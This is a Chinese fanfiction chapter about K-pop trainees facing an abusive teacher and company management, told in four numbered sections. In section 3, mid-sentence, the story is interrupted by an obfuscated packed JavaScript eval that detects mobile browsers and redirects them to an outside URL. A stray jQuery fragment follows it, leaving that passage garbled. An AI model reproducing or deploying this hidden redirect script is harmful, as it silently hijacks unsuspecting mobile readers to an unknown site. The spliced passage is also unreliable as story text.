1.


    为了粉丝认人,他们需要穿特定的衣服或者戴特定的配饰,李灿的最明显,是个小挎包。桑托斯一开始也给自己设计了一个,但李全辛坚决反对,无他,只因桑托斯想打造一个勤奋好学的人设,也正好能和金副社长的神秘王子人设挂钩:


    勤奋又好学的神秘王子嘛。


    就是这王子的皮肤黑了点儿。


    但李全辛一眼辨别出这小子纯粹就是想假公济私赶论文,所以果断回绝。


    桑托斯为此难受地一天没吃下去饭,在重拾学业前他对于“论文”这个单词的理解就是一个非常非常高级的大招,而且是只在最后一步才用。


    可没想到,时过境迁,桑托斯上了学,心也碎了一大半。毕业论文学会了分身,学年论文登上舞台,老师丝毫没有怜悯之心,要求桑托斯准时上交作业。


    现在已经不是单纯的熬时间就可以的了,谁曾想游戏人间的桑托斯如今成了时间的奴隶?争分夺秒恨不得跪下求求无论哪边神也好,一天二十四小时增加十个小时吧!不然真的不够用了!


    “这个衣服实在是太丑了……”


    桑托斯抻开公司新订的“战衣”,清一色的荧光蓝,虽然他很喜欢颜色鲜艳的衣服,但是能把蓝色做得这么难看他还是头一回见,所以这才躲在角落和珉奎吐槽这衣服显得人气色一点都不好,李灿恰巧也凑了过来,默默加入哥哥阵营默默表示自己的赞同,而桑托斯看见他就随手把自己这件往小孩身上比,果然黄种人肤色也能深成棕色人种……


    “先别管衣服了,你的对头来了。”李知勋从身后走过幽幽留下一句像是诅咒的话,桑托斯转身去看,发现是春光满面的琳老师,手捧着一摞课本,踩着精致的小皮鞋推门进来,一边附和练习生们的问好一边笑盈盈地分发手里的本子,桑托斯自然也得到一份,但这本子是空白的,不解其意,他疑惑发问:“老师?这是什么?”


    、


    “噢,让你们写日记的,老师特意去采买的、省得你们再跑一趟。”


    日记?李全辛也让他写过日记,只以为琳老师和李全辛一样,只是为了让他们消磨时光、于是他多想地问:“写出来要做什么吗老师?”


    “当然是给我看的啊,我可是要检查的哦。”


    这下桑托斯就不愿意了,他不喜欢被人窥探隐私,心事就算写出来也只能让自己看,更何况,正常人谁把心事写日记上啊?不擎等着被人发现吗?这就像规则就是用来打破的一样,就算是之前为了认清自己的心中所想写日记李全辛也不会向他索要日记本,更何况李全辛是什么人?是带他离开美国;把他安置在韩国,大小事情一概包揽的叔叔,就算拌嘴起争执那也是和别人不一样的,这个女人凭什么?


    但桑托斯肯定不能义正言辞说不写,经上次一事过后他多长了个心眼,面对老师唯唯答应自己肯定会写,但实际他只是起笔在本子上把自己胡编乱造的本事展示出来,毕竟还要赶论文呢!


    时间转眼到了夏天,短袖上身也觉得疲热难耐,练习室又在地下,湿气一捂是味道也不好闻,随之而来的就是心头压力也越来越大,就连桑托斯也不能幸免,好几次顺不好舞步没等权顺荣发脾气自己先恨不得踹自己几脚解解气,大哥罕有的暴躁让一众弟弟也不敢多说话,不过俊辉和明浩这两个中国人在此刻发挥了来自东方大国的聪明才智。


    火不止是外界来的,身体里也会有,所以俊辉每天都要熬上一大锅解暑的甜汤,说是从根上除火,桑托斯没喝过这些,毕竟之前俊辉不会做,今年是头一例,淡黄色的汤捧在手心,桑托斯觉得这是大家的心更靠近了的预兆。


    而明浩呢,他选择让大家直面暑热,与其要求安装空调,不如要求安装过滤设备,让空气流通起来,不然就算是得了一时的凉爽,也是给身体埋下了病根,只等老了以后病痛缠身。


    中国人的避暑方法是温和的中药,而桑托斯他们显然喜欢猛烈的激素药,只求一时的快乐而不去考虑未来的栽秧。到底是明浩沉默、俊辉更无什么话语权,二人只辩解几句就偃旗息鼓不再劝说,到最后不过是明浩喝茶时有队员想喝便分一杯,俊辉熬汤若是有人等着也多盛一碗。模样落寞桑托斯看着于心不忍,他是尝过被轻视是什么滋味儿的,便主动组织起其他队员,嘱咐多照顾远道而来的队友,不要事事退却,事事害怕过了规矩,他们以后可是要一起出道的,难不成要学那些先结婚后恋爱的恶心事吗?


    有了大哥放话点拨,大家方才醒悟,纷纷反省自己过去的不好习惯,那是否也只是殊途同归的外冷内热。


    所以慢慢的,等汤喝的队友从一两个到了五六个,再到几乎是后面没有缺席的。明浩喝茶也被大家好奇询问这是什么茶,明浩开心异国他乡有人愿意了解他亲近他,便事无巨细地讲解自己喝的普洱茶来源,包括如何品,怎么能感受到香气,但见大家实在喝不惯普洱的苦涩,这才鼓足勇气拿出爸爸特意给他装的,就是为了交朋友的茉莉花茶。


    茉莉花茶好入口,花香茶香皆有;芬芳扑鼻,即使跨国也更能被接受,桑托斯跟着喝一段时间后给了他钱麻烦他给自己下次回家时带一点这个好喝的茶回韩国。


    二人品茶聊天时桑托斯捻出一根花骨朵问明浩:“这个是什么?”


    “茉莉花啊。”


    “那它是红茶吗?”


    “茉莉花茶一般都默认是花茶,也属于绿茶,红茶……那个得叫茉莉红茶,是茉莉花和红茶……”明浩找不出“窨制”这个词该怎么解释,就只能描述:“是茉莉花,和红茶,混在一起,做出的茉莉红茶。”


    “噢……明白了,那会有人直接叫红茶吗?”


    “这、习惯不同吧、有的人就可能就喜欢直接叫红茶。”


    “OK……”


    2.


    “日记写的怎么样了?”


    琳把他们按在训练室不让走,让他们把今天的感悟写出来才能回家睡觉,但是……你不是体重管理课的老师吗!?


    桑托斯猜疑是不是自己之前的糊弄被发现了?可是不应该啊,毕竟所谓的不认真其实只是没说心里话罢了,不至于没像流水账似的从早上开始计数,数七点干了什么八点干了什么;十点十一点又干了什么,要真这么写不纯纯贴脸开大吗,他桑托斯又不是傻子,再讨厌也不至于再犯蠢。


    “写好了,老师您看一下。”


    美式快乐教育出来的人没见过来自东亚绑架式的教育体系,本以为是结束殊不知只是开始,桑托斯完全预料不到未来一段时间他的日子会难过到何种境地。


    “那老师我就算留在这儿能不能写会儿作业?……”桑托斯已经很小心了,但换来的是琳老师用力拍上笔记本电脑的响声,偌大哥屋子顿时连书写的声音都没了。


    时针指向十二整,他们各个饥肠辘辘浑身臭汗,只想回宿舍哪怕冲一澡都好,就算不填饱肚子。


    但所有人都被迫困在这里出不去,桑托斯耐着性子收好电脑,李硕珉的手还按在他的胳膊上,知道弟弟害怕冲突,所以很快消化好负面情绪的桑托斯对老师道歉,琳这才满意离开了他们这边,走前还轻轻捋了捋桑托斯的脑袋,像摸狗似的。少年咬紧后槽牙;强绷着自己不要做愤怒的奴隶,努力收回已经有点狰狞的嘴脸,李硕珉担忧地用手一直捏他胳膊。


    “字迹太乱,你就是这么糊弄老师的吗?”文俊辉低下头,他的韩文写的确实不好,语法错误不说,还有很多涂抹痕迹,听到老师训他也觉得确实是自己太笨了……


    崔胜澈写的不知怎样,就看见老师毫不犹豫照头扇了下去,虽说是个薄本子,造成的伤害可能最多也就是带掉本就脱离毛囊的头发,但架不住侮辱性太强了,与韩国人在教育上并无不同的徐明浩难过地低下头,原先班上同学被老师打的时候他也是这种心情,好窒息……


    “看来快乐教育只能教出来文盲啊。”凉飕飕一句话指向对象很明确,桑托斯背后如果长毛,此刻恐怕都要竖起来;嘴里长尖牙也会颗颗往外伸,算起来,桑托斯虽然出身异常不好,却从不自轻自贱,夫胜宽习惯用自身当做笑料时桑托斯也会立刻展现大哥的威严,告诫他私下里没事不要拿自己当成笑话讲给其他人,为了讨生活放下身段是应该的,但绝对要分开,幽默不是自嘲,自嘲有时候甚至不是幽默。


    总而言之,桑托斯是不喜欢被轻贱的。


    琳老师拿着两个本子互相对比,然后对左边那本和颜悦色,走到洪知秀身后:“不错哦知秀,都是美国人,但你比桑托斯厉害很多哦。”背对着老师桑托斯翻了个白眼,觉得这招可真不新鲜,挑拨离间用的这么明显,真是不知道到底是谁智商更低。


    本子被扔回来要求重写,桑托斯就拿起笔翻一页新的写,他实在是不知道这样的意义在哪?琳又怎么像突然变了一个人似的?


    当时针指向一偏下,日记还要写,李灿惶恐到不知该如何下笔,小小的一个人坐在那,身上还背着黄色小背包,脸上全是汗,眼睛里也有泪,但泪水在练习室太常见,胜宽偷偷给他擦眼泪。


    “桑托斯,你为什么不写了。”


    少年不动也不说话,只是坐在自己位子上直直盯着她,大有对峙的意思,气氛瞬间紧张起来。


    徐明浩左右看,文俊辉对他摇摇头示意不要多说话。


    “为什么不说话。”


    “老师我想问您一件事。”


    琳点头,眼睛上下扫视桑托斯整个人,桑托斯更不爽了,但他还是耐着性子问:“请问是社长留的作业吗?”


    沉默半晌,琳走近对他说:“是老师的失误。”然后一巴掌扇在桑托斯脸上,力度够大足以留下第二天消不下的印子,她似乎是一下不解气还想来第二下,而这次少年像是早料到一样迅速抓住她的腕子,正常情况下女人在体型上是比不过男人这是事实,所以少年一只手就跟铁钳子似的让女人动不了分毫。


    断食没有消耗掉他的肌肉,更没有抑制他的成长,此刻他站起身,让人明白DNA的优势就是哪怕外界环境再糟糕都能凭借自身杀出一条路。


    桑托斯还是长高了。


    “我不会打女人,但是我自己会去问社长这究竟是怎么回事。”


    这才松开手,琳纤细的腕子上留有发白消不下的捏痕。


    桑托斯怒气不知如何滋生,只见他沉默地把自己日记本撕成两半然后甩在桌子上,面无表情对着其他人说:“回家了孩子们。”


    崔胜澈第一个收拾,其他人也站起身像是什么都没发生似的收拾自己东西,该听谁的话他们还是知道的。


    3.


    第二天是社长主动把桑托斯叫过去的,还有崔胜澈,二人不明所以,崔胜澈还有点心虚,问他社长会不会发火?桑托斯却浑然不怕,反而抖擞精神像一只雄赳赳气昂昂的大公鸡冲在前面。


    只是进门后发现人似乎有点多,公司叫得上号的人都到场了,李全辛在后面努力给他使眼色,但桑托斯分不出来他那双小眼睛挤出的到底是哪句话。


    “坐吧。”


    “今天的事想必你们也能猜到。”


    桑托斯省去客套,大喇喇坐在靠椅里,崔胜澈也紧跟着落座,深色皮肤少年脸上还有红肿的痕迹,配合他的表情,今天更像是兴师问罪来的。


    出乎意料的是琳当众给他俩鞠躬道歉,这又是什么戏?先发制人?


    “琳老师的手腕你俩也看到了,这件事就到此为止,我也不追究。”


    “小桑啊,你是大哥,得照顾弟弟们啊,出头是应该的,但也要考虑弟弟们的处境啊。”


    紧接着社长脸色一变,转向旁边的少年:“崔胜澈,你是我相中的的孩子,但这件事我对你很不满意,队长看来不需要你来当了,要不要收拾收拾直接去下一个组合呢?”


    胜澈脸瞬间就白了,桑托斯眼神凌厉,但他眼前能想到的话都只会把他们害得更惨……该怎么办……


    “队长的职责看来还是桑托斯来当更好啊,果然一个组合里只有大哥才能管住局面,年纪小就是不行。”


    一贯的挑拨离间,桑托斯毫不在乎,甚至只觉得这就是放屁,但崔胜澈不一样,他是个内心善良又柔软的孩子,练习生活开启前没经历过什么冷嘲热讽,来到公司后老师的教训基本都是点到即止,如此严重的话在桑托斯看来这是第一次。


    他其实看到这儿也不免想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004846|159556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是不是自己的偏激连累了胜澈,但就要因此被无故扇嘴巴吗?桑托斯觉得如果能回到昨晚他只会做的更过分。


    “社长,如果胜澈要离开的话我也退出吧。”


    少年没什么表情,曾几何时他也是个非常非常爱笑的孩子。现如今他用一张早已成熟的脸和心思不纯的人对簿公堂,那些美好的幻象翻书一样干脆利落消失、稚嫩的;带着婴儿肥的孩子就这么一下子不见了,取而代之的是现在坐在椅子里骨骼锋利的少年,生长痛如此具象的显化在一个人身上,李全辛躲在后面红了眼,他就知道这孩子不会撒谎,琳那个女人根本就是个魔鬼!他的好孩子都瘦成果干了!!


    “什么?”


    “我说,如果胜澈退出的话我也退出吧。”


    他并不张狂,神情甚至是请求的,他的脸上还有伤痕。


    利益永远是连接敌人的桥梁,桑托斯带来的资源最近一次让他获利是在昨天、也就是星期三。


    “倒也不至于那么严重……”


    最后两人被请出去,社长让他们回练习室好好训练,快出道了不要搞什么幺蛾子。


    出道出道,整日念经,昼夜不停,无聊至极。


    像是什么怨灵诅咒一样。


    “哥……”在洗手时崔胜澈转身抱住没防备的桑托斯,少年的怀抱横冲直撞,桑托斯想转个身都费劲,他就这么一点点挪,等终于变成面对面时发现胜澈哭得凄惨,他后颈冰凉还覆着一层冷汗,桑托斯把手在裤子上蹭干摩擦热乎后去捂那块薄薄的皮肉:“俊辉说脖子不能着凉,着凉晚上会做噩梦。”


    “那哥你晚上陪我睡。”


    “咱俩不就是一屋吗?”


    “不管!就要一起睡!”


    “行行行好了吧……”


    4.


    公司一早定下来的假日是光复节能休三天,有的孩子把假期去哪都定好了,一如既往地俊辉和知秀净汉去景点游玩,李硕珉和李知勋背好背包去敲桑托斯的门:“哥你跟不跟我们一起走啊,我爸妈都想你了!”桑托斯扔开书笑得灿烂刚想收拾东西就突然响起自己的作业……蔫蔫地回:“你们走吧……帮我跟爸爸妈妈问好……”


    “好吧……下回的吧!下回我爸爸妈妈就会来我们这儿了!哥你别难过!”李硕珉抱住桑托斯晃了晃,不爱肢体接触的李知勋也抱了抱他:“下次的,你毕业就好了。”


    知勋呐,以你哥目前的成绩貌似很难毕业……呵呵……不被劝退就已经很好了……


    但这些桑托斯是不会说的,他只会让弟弟们玩得开心,然后拿出零花钱给他俩:“帮哥给咱爸妈带点礼物……剩下的你俩留着花噢。”


    顺荣回家,灿也回家,胜宽跟爸妈出去玩、胜宽爸妈拽着小啵一起走,圆佑和珉奎出去玩,带旅游性质的那种。


    明浩不爱出去就想在寝室或者去练习室,毕竟他现在进度落后一大截,韩语磕磕绊绊,怎么都得加紧努力才行。


    “啊!你不陪我看西游记了吗!我不止需要Monkey King我还需要你!”桑托斯抱住徐明浩纤薄的腰,大有你不给个交代我就死也不会放的架势,徐明浩听不懂他叽里呱啦英语杂西语又杂韩语的独创语言,他使劲往下扒拉大哥的手:“要不是语言学校也放假我一定是会去学校的!”


    “就是啊,哥以为谁都和你一样吗,五年才把韩语学明白,你和小孩有什么区别?”崔胜澈接了一杯水慢悠悠走过来加入拆除桑托斯作战里:“明明我也可以陪你看西游记啊!不是有双语字幕吗!?”


    “明浩是中国人嘛!他能给我讲故事!”


    “我也能给你讲故事!下来!你要掐死明浩了!”桑托斯吓得赶紧松手,崔胜澈顺势抓住他的衣服:“你论文不是还没写完呢吗!走!回去赶作业!”


    崔胜澈说的信誓旦旦陪伴,但晚上一通电话打过来瞬间把桑托斯最后一个战友叫走了:


    [胜哲呐——什么时候回家啊!妈妈给你弄好吃的——]


    “啊?……我这次要回家吗妈妈?”


    [当然了——你爸爸准备了好酒,打算和你这个成年的孩子好好喝一顿呢!]


    “可是我……”


    [小桑呢?他有出去玩的计划吗?没有的话就一起回来呗。]


    “行啊,那我俩收拾收拾。”


    [好的哦——拜拜啦儿子——]


    “内——爱你哦老妈。”


    噼里啪啦敲电脑的声音还房间内回荡,崔胜澈停在门口,这一瞬间他真的觉得眼前的一切都不可思议:有个人在房间里打电脑,那个人是我的好兄弟,他来自美国,曾经是个小混混,现在正为论文烦恼,我们住在一间屋子,为同一个梦想努力。


    我们会站在舞台上吗?


    我们会被人喜欢吗?


    我们会拥有数不尽的鲜花和掌声吗?


    啊……好像不重要了,好像在此时此刻一切都不重要了。


    灵魂脱离了□□,没了各种各样情感的捆绑,现在的他只能感到最原始的满足。


    推开门,他们的新房间有一扇窗户,窗户下放了一张够两个人伏案而作的桌子,但屋子还是小、小到放不下凳子,桌子就非常低,他们就只能盘腿坐在桌子前。


    所以此时的桑托斯躬身弯腰,一只手翻书一只手去够旁边地上的资料,听见开门声回头看他,嘴里叼着吸管,被子里是俊辉预留好的冰绿豆汤:


    “是谁啊?”


    “我爸妈,你这三天没事吧,收拾收拾咱俩回家呗。”


    桑托斯摇摇头满脸苦相:“走不了啊,后天就要交作业了……”


    崔胜澈不信邪想上去帮他写,结果看见全英文就蔫了。桑托斯贴心递上一本字典:“用吗?我也用呢。”


    “不是吧……你现在还不会写字吗?”崔胜澈简直不敢相信,桑托斯却无奈耸肩:“拜托——我才上几年学?能写上论文已经是祖宗保佑了!”


    最后还是崔胜澈一个人走的,临走前他不放心问对方一个人待三天有没有关系,桑托斯扔过去一个抱枕崔胜澈眼疾手快关上门。


    不就是一个人待三天嘛!


    有什么瞧不起人的啊!